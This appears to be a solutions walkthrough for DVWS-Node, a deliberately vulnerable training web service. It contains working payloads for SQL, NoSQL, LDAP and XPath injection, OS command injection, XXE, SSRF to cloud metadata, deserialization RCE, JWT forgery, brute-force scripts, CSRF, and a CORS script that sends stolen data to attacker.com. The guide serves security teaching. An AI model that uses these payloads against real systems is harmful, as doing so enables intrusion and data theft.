Damn Vulnerable Web Service (DVWS-Node) is a deliberately insecure web application for learning API and web service security testing. All services run on a single Express server.
Base URL: http://dvws.local
| Service | Path | Description |
|---|---|---|
| REST API | /api/v1/*, /api/v2/* |
Primary REST endpoints |
| SOAP | /dvwsuserservice |
SOAP/XML service with WSDL |
| XML-RPC | /xmlrpc |
XML-RPC method dispatch |
| GraphQL | /graphql |
GraphQL queries and mutations |
| Swagger | /api-docs |
OpenAPI documentation |
Default credentials: admin / letmein, test / test
- SQL Injection
- NoSQL Injection
- OS Command Injection
- XML External Entity Injection (XXE)
- XML Bomb (Denial of Service)
- Server-Side Request Forgery (SSRF)
- Insecure Deserialization (RCE)
- XPath Injection
- LDAP Injection
- Path Traversal
- SOAP Injection
- XML Injection (Profile Export)
- XML Injection (Profile Import / Mass Assignment)
- Mass Assignment (User Registration)
- IDOR - Insecure Direct Object Reference
- Broken Authentication - JWT "none" Algorithm
- JWT Secret Key Brute Force
- Vertical Access Control (Privilege Escalation)
- Horizontal Access Control
- Open Redirect
- Cross-Site Scripting (XSS)
- Cross-Site Request Forgery (CSRF)
- CORS Misconfiguration
- CRLF Injection / Log Pollution
- User Enumeration
- Information Disclosure
- Sensitive Data Exposure (Password Hashes)
- Prototype Pollution
- API Endpoint Brute Forcing (Missing Rate Limit)
- Rate Limit Bypass via X-Forwarded-For
- Hidden API Functionality Exposure
- GraphQL Introspection
- GraphQL Access Control Issues
- GraphQL Arbitrary File Write
- GraphQL Batching Brute Force
- GraphQL Sensitive Data Exposure
- Unrestricted File Upload
Endpoint: POST /api/v2/passphrase and GET /api/v2/passphrase/:username
Description: User input is concatenated directly into raw SQL queries without parameterization.
Save a passphrase and then retrieve passphrases for a user you do not own.
Blind SQLi on the GET endpoint -- the :username parameter is injected directly into a SELECT query:
GET /api/v2/passphrase/' OR '1'='1 HTTP/1.1
Host: dvws.local
This returns all passphrases in the database because the query becomes:
SELECT passphrase, reminder FROM passphrases WHERE username = '' OR '1'='1'SQLi on the POST endpoint -- passphrase and reminder fields are injected into an INSERT statement:
POST /api/v2/passphrase HTTP/1.1
Host: dvws.local
Authorization: Bearer <token>
Content-Type: application/json
{
"passphrase": "test', 'injected'); -- ",
"reminder": "ignored"
}
Endpoint: POST /api/v2/notesearch
Description: The search parameter is embedded directly into a MongoDB $where JavaScript expression.
Retrieve all notes in the database, not just public ones matching your search.
POST /api/v2/notesearch HTTP/1.1
Host: dvws.local
Authorization: Bearer <token>
Content-Type: application/json
{
"search": "' || '1'=='1"
}
The injected value breaks out of the string comparison and makes the $where clause always true:
// Becomes: this.type == 'public' && this.name == '' || '1'=='1'Endpoint: GET /api/v2/sysinfo/:command
Description: The :command parameter is passed directly to child_process.exec().
Execute arbitrary OS commands on the server.
GET /api/v2/sysinfo/uname;cat%20/etc/passwd HTTP/1.1
Host: dvws.local
Authorization: Bearer <token>
The semicolon terminates the first command and cat /etc/passwd executes as a second command. Other metacharacters also work: |, &&, backticks, $().
Endpoint: POST /dvwsuserservice
Description: The SOAP service parses XML with libxmljs2 using noent: true and dtdload: true, enabling external entity resolution.
Read arbitrary files from the server via the SOAP user lookup service.
Discover the WSDL first:
GET /dvwsuserservice?wsdl HTTP/1.1
Host: dvws.local
Then send a malicious SOAP request with an XXE payload:
POST /dvwsuserservice HTTP/1.1
Host: dvws.local
Content-Type: text/xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<username>&xxe;</username>
</soapenv:Body>
</soapenv:Envelope>The contents of /etc/passwd are returned in the <username> field of the SOAP response.
Endpoint: POST /api/v2/notes/import/xml
Description: The XML notes import parses XML with noent: true, dtdload: true, and huge: true, disabling parser size limits.
Cause a denial-of-service condition by importing a specially crafted XML document.
Quadratic Blowup Attack:
POST /api/v2/notes/import/xml HTTP/1.1
Host: dvws.local
Authorization: Bearer <token>
Content-Type: application/json
{
"xml": "<?xml version=\"1.0\"?><!DOCTYPE notes [<!ENTITY a \"AAAAAAAAAA... (repeat thousands of times)\">]><notes><note><name>&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;</name><body>boom</body></note></notes>"
}
The huge: true flag removes parser safety limits, allowing memory exhaustion.
XXE variant (file read via notes import):
{
"xml": "<?xml version=\"1.0\"?><!DOCTYPE notes [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><notes><note><name>&xxe;</name><body>stolen</body></note></notes>"
}Endpoint: POST /xmlrpc
Description: The dvws.CheckUptime XML-RPC method makes HTTP requests to any user-supplied URL using needle.get().
Use the XML-RPC service to make requests to internal services or cloud metadata endpoints.
First, list available methods:
POST /xmlrpc HTTP/1.1
Host: dvws.local
Content-Type: text/xml
<?xml version="1.0"?>
<methodCall>
<methodName>system.listMethods</methodName>
<params/>
</methodCall>Then exploit SSRF with dvws.CheckUptime:
POST /xmlrpc HTTP/1.1
Host: dvws.local
Content-Type: text/xml
<?xml version="1.0"?>
<methodCall>
<methodName>dvws.CheckUptime</methodName>
<params>
<param>
<value><string>http://169.254.169.254/latest/meta-data/</string></value>
</param>
</params>
</methodCall>This makes the server fetch the AWS metadata endpoint (or any internal URL).
Endpoint: POST /api/v2/export
Description: The export endpoint Base64-decodes the data field and passes it to node-serialize's unserialize(), which executes JavaScript IIFE expressions embedded in serialized objects.
Achieve remote code execution on the server through the PDF export feature.
Craft a serialized payload with an IIFE (Immediately Invoked Function Expression):
// Malicious serialized object:
{"rce":"_$$ND_FUNC$$_function(){require('child_process').execSync('id')}()"}Base64-encode it and send:
POST /api/v2/export HTTP/1.1
Host: dvws.local
Authorization: Bearer <token>
Content-Type: application/json
{
"data": "eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24oKXtyZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlY1N5bmMoJ2lkJyl9KCkifQ==",
"username": "test",
"password": "test"
}
The function executes during deserialization before any further processing.
Endpoint: GET /api/v2/release/:release
Description: The :release parameter is concatenated directly into an XPath expression that queries fixtures/xml/config.xml.
Extract all data from the server's XML configuration file.
GET /api/v2/release/0.0.1'%20or%201=1%20or%20'a'='a HTTP/1.1
Host: dvws.local
The XPath query becomes:
//config/*[local-name(.)='release' and //config//release/text()='0.0.1' or 1=1 or 'a'='a']
This returns all nodes from fixtures/xml/config.xml, including database credentials and other sensitive configuration.
Endpoint: GET /api/v2/users/ldap-search?user=<input> or POST /api/v2/users/ldap-search
Description: The user parameter is concatenated directly into an LDAP filter string (uid=<input>) without sanitization.
Enumerate all LDAP users and extract sensitive attributes.
Wildcard injection to enumerate all users:
GET /api/v2/users/ldap-search?user=* HTTP/1.1
Host: dvws.local
Returns: ["admin", "guest", "manager"]
Attribute injection to extract sensitive data:
GET /api/v2/users/ldap-search?user=admin)(objectClass=*) HTTP/1.1
Host: dvws.local
The filter becomes (uid=admin)(objectClass=*) which triggers verbose output including email, GUID, description, and password fields.
Endpoint: POST /api/download
Description: The filename parameter is passed to path.resolve() without sanitization, allowing directory traversal.
Download arbitrary files from the server filesystem.
POST /api/download HTTP/1.1
Host: dvws.local
Authorization: Bearer <token>
Content-Type: application/json
{
"filename": "../../../../../../../../etc/passwd"
}
The ../ sequences escape the upload directory and path.resolve() resolves them to an absolute path, allowing arbitrary file reads.
Endpoint: POST /dvwsuserservice
Description: The username value extracted from the SOAP request is interpolated directly into the XML response without escaping. An attacker can inject XML tags to spoof response fields.
Manipulate the SOAP response to show an elevated role.
POST /dvwsuserservice HTTP/1.1
Host: dvws.local
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<username>test</username><role>admin</role><username>ignore</username>
</soapenv:Body>
</soapenv:Envelope>The response XML contains a spoofed <role>admin</role> element injected between the real tags. A naive XML consumer that reads the first <role> element will see "admin" instead of the real role.
Endpoint: POST /api/v2/users/profile/export/xml
Description: User-supplied username and bio fields are interpolated directly into an XML string without encoding.
Inject arbitrary XML tags into the exported profile to escalate your role.
POST /api/v2/users/profile/export/xml HTTP/1.1
Host: dvws.local
Content-Type: application/json
{
"username": "test</username><role>admin</role><username>ignored",
"bio": "normal bio"
}
The response XML will contain:
<userProfile>
<username>test</username><role>admin</role><username>ignored</username>
<role>user</role>
<bio>normal bio</bio>
</userProfile>An XML consumer reading the first <role> tag will see "admin".
Endpoint: POST /api/v2/users/profile/import/xml
Description: The XML profile import endpoint has no authentication and blindly accepts an <admin> field, allowing privilege escalation for any user.
Escalate a regular user to admin without knowing their password.
POST /api/v2/users/profile/import/xml HTTP/1.1
Host: dvws.local
Content-Type: application/json
{
"xml": "<userProfile><username>test</username><admin>true</admin><bio>hacked</bio></userProfile>"
}
Response:
{
"success": true,
"message": "Profile updated successfully from XML.",
"data": { "username": "test", "admin": true, ... }
}No authentication required. The <admin>true</admin> field is blindly accepted and written to the database.
Endpoint: POST /api/v2/users
Description: The entire req.body is passed directly to new User(req.body). Since the Mongoose schema includes an admin field, it can be set at registration time.
Register a new user account with admin privileges.
POST /api/v2/users HTTP/1.1
Host: dvws.local
Content-Type: application/json
{
"username": "attacker",
"password": "password123",
"admin": true
}
The new user is created with admin: true. Logging in will return a JWT with user:admin permission.
Endpoint: GET /api/v2/notes/:noteId, PUT /api/v2/notes/:noteId, DELETE /api/v2/notes/:noteId
Description: Notes are accessed by their sequential numeric no field. No ownership check is performed -- any authenticated user can read, modify, or delete any other user's notes.
Access another user's private notes by enumerating IDs.
GET /api/v2/notes/1 HTTP/1.1
Host: dvws.local
Authorization: Bearer <token>
Increment the ID to enumerate: /api/v2/notes/2, /api/v2/notes/3, etc. Private notes (type != "public") belonging to other users are returned without restriction.
Delete another user's note:
DELETE /api/v2/notes/targetNoteName HTTP/1.1
Host: dvws.local
Authorization: Bearer <token>
Endpoint: All authenticated endpoints
Description: JWT verification accepts algorithms: ["HS256", "none"] and ignoreExpiration: true. The none algorithm means the signature is not verified.
Forge a JWT token to authenticate as any user, including admin.
-
Take any valid JWT and decode the payload (Base64):
{"user": "test", "permissions": ["user:read", "user:write"]} -
Modify the header to use
"alg": "none"and set the payload to admin:Header: {"alg": "none", "typ": "JWT"} Payload: {"user": "admin", "permissions": ["user:read", "user:write", "user:admin"]} -
Base64url-encode both parts, join with
., and append a trailing.(empty signature):eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJwZXJtaXNzaW9ucyI6WyJ1c2VyOnJlYWQiLCJ1c2VyOndyaXRlIiwidXNlcjphZG1pbiJdfQ. -
Use this forged token in the
Authorization: Bearer <token>header.
Endpoint: All authenticated endpoints
Description: The JWT signing secret is a weak, dictionary-guessable value.
Brute-force the JWT secret key to forge arbitrary tokens.
import jwt
token = "<captured-jwt-token>"
wordlist = open("wordlist.txt").read().splitlines()
for word in wordlist:
try:
decoded = jwt.decode(token, word, algorithms=["HS256"])
print(f"Secret found: {word}")
print(f"Decoded: {decoded}")
break
except jwt.InvalidSignatureError:
continueThe secret key is access. Once found, forge admin tokens:
import jwt
payload = {
"user": "admin",
"permissions": ["user:read", "user:write", "user:admin"]
}
token = jwt.encode(payload, "access", algorithm="HS256")
print(token)Endpoints: GET /api/v2/sysinfo/uname, GET /api/v2/users, POST /dvwsuserservice
Description: Admin-only functionality is accessible to regular users or even unauthenticated users.
Access admin-only endpoints with a regular user token.
System info (should be admin-only):
GET /api/v2/sysinfo/uname HTTP/1.1
Host: dvws.local
Authorization: Bearer <regular-user-token>
All user data including password hashes:
GET /api/v2/users HTTP/1.1
Host: dvws.local
Authorization: Bearer <regular-user-token>
SOAP service (no authentication at all):
POST /dvwsuserservice HTTP/1.1
Host: dvws.local
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<username>admin</username>
</soapenv:Body>
</soapenv:Envelope>Endpoints: GET /api/v2/passphrase/:username, GET /api/v2/notes/:noteId
Description: Users can access other users' data. The passphrase endpoint requires no authentication at all.
Read another user's passphrases and notes.
Read any user's passphrases (no auth needed):
GET /api/v2/passphrase/admin HTTP/1.1
Host: dvws.local
Read any user's notes (any valid token works):
GET /api/v2/notes/1 HTTP/1.1
Host: dvws.local
Authorization: Bearer <any-valid-token>
Endpoint: GET /api/v2/users/logout/:redirect
Description: The :redirect parameter is passed directly to res.redirect() with an http:// prefix.
Redirect a user to a malicious site via the logout endpoint.
GET /api/v2/users/logout/evil.com HTTP/1.1
Host: dvws.local
Response: 302 Found with Location: http://evil.com
Craft a phishing link: http://dvws.local/api/v2/users/logout/attacker.com/phishing
Endpoint: POST /dvwsuserservice
The SOAP response reflects the username value. If a client-side application renders this XML without sanitization, the user can inject HTML:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<username><script>alert(1)</script></username>
</soapenv:Body>
</soapenv:Envelope>If the front-end decodes the XML entities and renders the result with innerHTML, the script executes.
Endpoint: POST /api/v2/users
The registration response reflects the username with Content-Type: text/plain but no explicit X-Content-Type-Options: nosniff header. Register with:
{
"username": "<script>alert(1)</script>",
"password": "test"
}Browsers that perform MIME sniffing may execute the script.
Endpoint: POST /api/v2/admin/create-user
Description: This endpoint reads authentication from an HttpOnly cookie (auth_token) and accepts Content-Type: text/plain, bypassing CORS preflight checks.
Create an admin user by tricking a logged-in admin into visiting a malicious page.
Host this HTML on an attacker-controlled page:
<html>
<body>
<script>
fetch('http://dvws.local/api/v2/admin/create-user', {
method: 'POST',
mode: 'no-cors',
credentials: 'include',
headers: { 'Content-Type': 'text/plain' },
body: JSON.stringify({
username: 'hacker_admin',
password: 'hacked',
admin: true
})
});
</script>
</body>
</html>When an admin visits this page, their auth_token cookie is included automatically. The endpoint parses JSON from text/plain bodies, creating the attacker's admin account.
Endpoint: All endpoints
Description: CORS is configured with origin: true (reflects any origin) and credentials: true, allowing any website to make authenticated cross-origin requests.
Steal data from the API cross-origin.
Host on attacker-controlled domain:
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://dvws.local/api/v2/passphrase/admin', true);
xhr.withCredentials = true;
xhr.onload = function() {
// Send stolen data to attacker server
fetch('https://attacker.com/steal?data=' + encodeURIComponent(xhr.responseText));
};
xhr.send();
</script>The server reflects the attacker's origin in Access-Control-Allow-Origin and sets Access-Control-Allow-Credentials: true, so the browser allows the cross-origin response to be read.
Endpoint: POST /api/v2/login
Description: The username from login attempts is logged without sanitizing newline characters. Logs are viewable at GET /api/v2/admin/logs.
Forge a fake log entry showing a successful admin login from a different IP.
POST /api/v2/login HTTP/1.1
Host: dvws.local
Content-Type: application/json
{
"username": "attacker\n[2026-01-01T00:00:00.000Z] Login attempt from IP:10.0.0.1 User:admin",
"password": "anything"
}
View the poisoned logs:
GET /api/v2/admin/logs HTTP/1.1
Host: dvws.local
Authorization: Bearer <token>
The injected newline creates a fake log line that appears to show a login from a different IP.
Endpoint: POST /api/v2/login
POST /api/v2/login HTTP/1.1
Content-Type: application/json
{"username": "admin", "password": "wrong"}
- Existing user:
401with"Authentication error" - Non-existent user:
404with"Login Failed! User foobar not found!"
The different status codes and messages reveal whether a username exists.
Endpoint: POST /dvwsuserservice
POST /dvwsuserservice HTTP/1.1
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<username>admin</username>
</soapenv:Body>
</soapenv:Envelope>The SOAP response contains the user's role (admin or user) confirming the account exists.
Endpoint: GET /api/v1/info
GET /api/v1/info HTTP/1.1
Host: dvws.local
Returns process.env (database credentials, JWT secret, etc.), Node.js version, OpenSSL version, platform details, and module load list. Note: /api/v2/info returns 403, but v1 is unprotected.
Send malformed requests to various endpoints to trigger unhandled errors. Stack traces reveal file paths, framework versions, and internal structure.
The X-Powered-By: Express header is present on all responses by default.
Endpoint: GET /api/v2/users and POST /graphql
Retrieve bcrypt password hashes for all users.
Via REST API:
GET /api/v2/users HTTP/1.1
Host: dvws.local
Authorization: Bearer <any-valid-token>
Returns all user documents including password (bcrypt hash) fields.
Via GraphQL:
POST /graphql HTTP/1.1
Content-Type: application/json
{
"query": "{ userFindbyId(id: \"<user-id>\") { id username password admin } }"
}The User GraphQL type exposes the password field containing the bcrypt hash.
Endpoint: POST /api/upload
Description: A custom merge() function recursively merges user-supplied JSON metadata into an object without checking for __proto__ or constructor keys.
Pollute Object.prototype to affect all objects in the application.
POST /api/upload HTTP/1.1
Host: dvws.local
Authorization: Bearer <token>
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="metadata"
{"__proto__": {"isAdmin": true}}
------Boundary
Content-Disposition: form-data; name="file"; filename="test.xml"
Content-Type: text/xml
<test/>
------Boundary--
After this request, every new object in the application inherits isAdmin: true from Object.prototype.
A more destructive payload:
{"__proto__": {"toString": "POLLUTED"}}This overwrites Object.prototype.toString, causing TypeError crashes across the application (DoS).
Endpoint: POST /api/v2/export
Description: The export endpoint verifies username + password credentials before generating a PDF, but has no rate limiting (unlike the login endpoint).
Brute-force a user's password through the export endpoint.
import requests
url = "http://dvws.local/api/v2/export"
headers = {"Authorization": "Bearer <token>"}
with open("passwords.txt") as f:
for password in f:
password = password.strip()
r = requests.post(url, json={
"data": "W10=", # Base64 for "[]"
"username": "admin",
"password": password
}, headers=headers)
if r.status_code != 401:
print(f"Password found: {password}")
breakNo rate limit is applied, so thousands of attempts can be made rapidly.
Endpoint: POST /api/v2/login
Description: The rate limiter identifies clients by the X-Forwarded-For header, which can be spoofed.
Bypass the login rate limit to brute-force credentials.
Rotate the X-Forwarded-For header with each request:
import requests
url = "http://dvws.local/api/v2/login"
for i in range(1000):
headers = {"X-Forwarded-For": f"10.0.0.{i % 256}"}
r = requests.post(url, json={
"username": "admin",
"password": f"attempt{i}"
}, headers=headers)
if r.status_code == 200:
print(f"Login successful with attempt {i}")
breakEach spoofed IP gets its own rate limit bucket (100 attempts per 30 seconds), effectively removing the limit.
31. Hidden API Functionality Exposure
Endpoint: GET /api-docs
Description: Swagger/OpenAPI documentation is publicly accessible and reveals all API endpoints, including those not exposed through the front-end UI.
Discover hidden administrative endpoints.
Browse to http://dvws.local/api-docs/ or fetch the raw spec:
GET /openAPI-spec.json HTTP/1.1
Host: dvws.local
This reveals endpoints like:
GET /api/v1/info-- server environment variablesGET /api/v2/users-- all user dataPOST /api/v2/admin/create-user-- admin user creationGET /api/v2/admin/logs-- login logs
Endpoint: POST /graphql
Description: GraphQL introspection is enabled, allowing full schema discovery.
Map the entire GraphQL schema to discover all queries, mutations, and types.
POST /graphql HTTP/1.1
Content-Type: application/json
{
"query": "{ __schema { types { name fields { name type { name kind ofType { name } } } } } }"
}Or use a full introspection query to discover:
- Queries:
userFindbyId,userSearchByUsername,noteFindbyId,readNote,getPassphrase - Mutations:
updateUserUploadFile,userLogin,createNote - Types:
User(exposespasswordfield),Notebook,File,Passphrase
Tools like GraphQL Voyager or InQL can visualize the schema.
Endpoint: POST /graphql
Description: Several GraphQL resolvers lack proper authorization checks.
Read other users' notes and data through GraphQL.
Read any user's notes (requires any valid token):
{
"query": "{ readNote(name: \"admin_secret_note\") { name body user type } }"
}Look up any user (exposes password hash):
{
"query": "{ userFindbyId(id: \"<user-object-id>\") { username password admin } }"
}Search any username:
{
"query": "{ userSearchByUsername(username: \"admin\") { id username admin } }"
}Endpoint: POST /graphql (mutation: updateUserUploadFile)
Description: The filePath argument is concatenated to the upload directory without sanitization, allowing path traversal to write files anywhere on the filesystem.
Write an arbitrary file to the server filesystem via GraphQL.
POST /graphql HTTP/1.1
Authorization: Bearer <token>
Content-Type: application/json
{
"query": "mutation { updateUserUploadFile(filePath: \"../../../../../../tmp/pwned.txt\", fileContent: \"You have been hacked\") { filePath fileContent } }"
}The ../ sequences traverse out of the uploads directory. The file is written to /tmp/pwned.txt (or any writable path).
Endpoint: POST /graphql
Description: Apollo Server is configured with allowBatchedHttpRequests: true, allowing multiple operations in a single HTTP request.
Brute-force passphrase reminders by batching hundreds of queries in one request.
POST /graphql HTTP/1.1
Content-Type: application/json
[
{"query": "{ attempt1: getPassphrase(reminder: \"dog\") { passphrase reminder } }"},
{"query": "{ attempt2: getPassphrase(reminder: \"cat\") { passphrase reminder } }"},
{"query": "{ attempt3: getPassphrase(reminder: \"test1\") { passphrase reminder } }"},
{"query": "{ attempt4: getPassphrase(reminder: \"password\") { passphrase reminder } }"}
]All queries execute in a single HTTP request, bypassing any per-request rate limiting. Scale to hundreds of guesses per batch.
Endpoint: POST /graphql (mutation: userLogin)
Description: The userLogin mutation returns the password field, which contains the bcrypt hash.
Extract password hashes via the GraphQL login mutation.
POST /graphql HTTP/1.1
Content-Type: application/json
{
"query": "mutation { userLogin(username: \"admin\", password: \"letmein\") { username password token } }"
}Response:
{
"data": {
"userLogin": {
"username": "admin",
"password": "$2b$10$...<bcrypt hash>...",
"token": "eyJ..."
}
}
}The bcrypt hash is returned alongside the valid JWT token.
Endpoint: POST /api/upload
Description: File upload only validates that the filename ends in .xml. There is no content-type validation or file content scanning. Files are written to a publicly accessible directory.
Upload a file with malicious content to the server.
POST /api/upload HTTP/1.1
Host: dvws.local
Authorization: Bearer <token>
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="file"; filename="malicious.xml"
Content-Type: text/xml
<html>
<script>alert(document.cookie)</script>
</html>
------Boundary--
The file is saved to /public/uploads/<username>/malicious.xml and is directly accessible at http://dvws.local/uploads/<username>/malicious.xml. If served with the wrong MIME type or if MIME sniffing occurs, the embedded HTML/JavaScript executes.
| Category | Endpoints |
|---|---|
| Injection | /api/v2/passphrase, /api/v2/notesearch, /api/v2/sysinfo/:cmd, /dvwsuserservice, /api/v2/release/:r, /api/v2/users/ldap-search |
| Broken Auth | All authenticated endpoints (JWT none/weak secret) |
| Data Exposure | /api/v1/info, /api/v2/users, /graphql (userLogin, userFindbyId) |
| XXE/XML | /dvwsuserservice, /api/v2/notes/import/xml, /api/v2/users/profile/export/xml, /api/v2/users/profile/import/xml |
| Access Control | /api/v2/notes/:id, /api/v2/passphrase/:user, /api/v2/sysinfo/:cmd, /api/v2/users |
| SSRF | /xmlrpc (dvws.CheckUptime) |
| RCE | /api/v2/export (deserialization), /api/v2/sysinfo/:cmd (command injection) |
| Client-Side | CORS (all endpoints), CSRF (/api/v2/admin/create-user), XSS (various) |
| GraphQL | /graphql (introspection, IDOR, file write, batching, data exposure) |